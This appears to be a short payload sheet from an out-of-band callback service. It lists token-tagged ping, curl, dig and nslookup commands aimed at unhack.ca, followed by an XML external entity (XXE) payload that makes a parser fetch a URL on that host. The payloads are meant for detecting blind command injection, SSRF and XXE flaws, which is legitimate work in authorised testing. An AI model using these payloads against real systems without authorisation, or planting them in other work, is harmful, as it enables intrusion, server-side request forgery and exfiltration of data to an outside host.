$ ping -c1 -p 008765791e64a501b1bd99b6e58ee000 unhack.ca
 

$ curl http://unhack.ca/p/8765791e64a501b1bd99b6e58ee0
 

$ dig 8765791e64a501b1bd99b6e58ee0 @unhack.ca
 

$ dig 8765791e64a501b1bd99b6e58ee0.ns.unhack.ca
 

C:\> nslookup 8765791e64a501b1bd99b6e58ee0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8765791e64a501b1bd99b6e58ee0">]>
    <foo>&xxe;</foo>